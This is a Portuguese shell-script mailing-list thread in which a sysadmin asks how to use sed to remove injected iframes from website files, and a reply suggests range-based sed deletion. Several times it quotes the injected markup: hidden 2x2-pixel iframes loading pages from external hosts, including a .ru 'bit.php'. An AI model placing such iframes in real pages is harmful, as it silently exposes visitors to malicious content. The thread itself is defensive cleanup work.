shell-script-pt
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [shell-script] Ajuda com aspas duplas no sed


From: Rafael Henrique da Silva Correia
Subject: Re: [shell-script] Ajuda com aspas duplas no sed
Date: Thu, 11 Apr 2013 09:17:13 -0300

Cara só acrescentando meu 1 centavo...

Seu iframe sempre vai estar desta forma? (pulando linhas e talz)

Porque mesmo que vc faça um sed corretinho se o iframe estiver assim:

<iframe src="http://my.edu.au/404.php"; width="2" height="2"
frameborder="0"></iframe><iframe src="http://my.edu.au/404.php"; width="2"
height="2" frameborder="0"></iframe><iframe src="
http://www.tlsgroup.ru/bit.php"; width="2" height="2"
frameborder="0"></iframe>

Acho (não testei ainda) que o sed não vai trocar nada. O que vc pode fazer
é andar colocando uns ".*" no lugar dos espaços só pra garantir, desta
forma ele vai trocar mesmo se tiver alguma coisa entre um conteúdo e outro.

Uma outra opção seria trabalhar com intervalos no sed.... exemplo:

$ cat arquivo.txt
testando 123
--------------linha em branco
<iframe src="http://my.edu.au/404.php"; width="2"
height="2" frameborder="0"></iframe><iframe
src="http://my.edu.au/404.php"; width="2" height="2"
frameborder="0"></iframe><iframe
src="http://www.tlsgroup.ru/bit.php"; width="2" height="2"
frameborder="0"></iframe>
--------------linha em branco
testando 123

$ sed "/<iframe.*/,/<\/iframe>/ d; /http/ d" arquivo.txt
testando 123
--------------linha em branco
--------------linha em branco
testando 123

Desta forma estou removendo o que estiver dentro de <iframe.* até
</iframe>, o maldito do sed sempre sobra o primeiro http (não sei o motivo
ao certo não deu tempo de testar) ai eu arranquei o http com a expressão
seguinte "/http/ d".

Porém volto a lembrar que cada caso é um caso, pq se o iframe for escrito
em uma linha só o meu arquivo só vai aparecer o "testando 123" de cima (o
de baixo ja era)... veja:

$ cat arquivo.txt
testando 123
--------------linha em branco
<iframe src="http://my.edu.au/404.php"; width="2" height="2"
frameborder="0"></iframe><iframe src="http://my.edu.au/404.php"; width="2"
height="2" frameborder="0"></iframe><iframe src="
http://www.tlsgroup.ru/bit.php"; width="2" height="2"
frameborder="0"></iframe>
--------------linha em branco
testando 123

$ sed "/<iframe.*/,/<\/iframe>/ d; /http/ d" arquivo.txt
testando 123
--------------linha em branco

Espero que ajude ! E fique esperto com o padrão que foi escrito seus
iframe, se eles estiverem um diferente do outro o script vai ter que ser
muito bem pensado!
Abraço!




Em 10 de abril de 2013 15:02, Thiago M. Figueiredo <
address@hidden> escreveu:

> **
>
>
> Opa Galera,
>
> Estou tentando fazer a limpeza de um iframe em vários arquivos mais
> devido a string que estou tentando substituir tem vaias aspas duplas e
> não funciona.
> Esse é o erro:
> sed: 1: "s/<iframe src="http://m ...": bad flag in substitute command: 'm'
>
> Esse é script que construi para fazer essa função.
>
> SUJEIRA="<iframe src="http://my.edu.au/404.php\"; width=\"2\"
> height=\"2\" frameborder=\"0\"></iframe><iframe
> src=\"http://my.edu.au/404.php\"; width=\"2\" height=\"2\"
> frameborder=\"0\"></iframe><iframe
> src=\"http://www.tlsgroup.ru/bit.php\"; width=\"2\" height=\"2\"
> frameborder=\"0\"></iframe>";
> LOCAL="/usr/local/www/cidademaiscrianca/httpdocs";
> ARQTEMPORARIO="/tmp/arquivo.txt"
>
> ARQUIVOS=`grep -irn $SUJEIRA $LOCAL/* | cut -d":" -f1`;
> for LIMPA in $ARQUIVOS; do
> sed "s/$SUJEIRA/ /g" $LIMPA > $ARQTEMPORARIO;
> cp $ARQTEMPORARIO $LIMPA;
> echo "Limpando arquivo $LIMPA";
> done
>
> Alguém já tentou usar sed com aspas duplas?
>
> muito obrigado
> atenciosamente,
> Thiago M. Figueiredo
>
> ------------------------------
> Thiago M. Figueiredo
> address@hidden
> Cel: (55 11)9472-5713
> address@hidden
> http://www.thiagofigueiredo.com
> Open Source o conhecimento é do mundo.
> Usar software proprietário R$ 450,00 com MasterCard, usar software
> livre não tem preço.... mas para todos os outros softwares existem os
> cracks. .
>  
>



-- 
Rafael Henrique da Silva Correia
http://abraseucodigo.com.br

Bacharel em Ciência da Computação
Administrador de Sistemas Linux
Certificado pela LPIC - 101 <http://www.lpi.org/>
Certificado Novell (CLA) <http://www.novell.com/training/certinfo/cla/>


[As partes desta mensagem que não continham texto foram removidas]



reply via email to

[Prev in Thread] Current Thread [Next in Thread]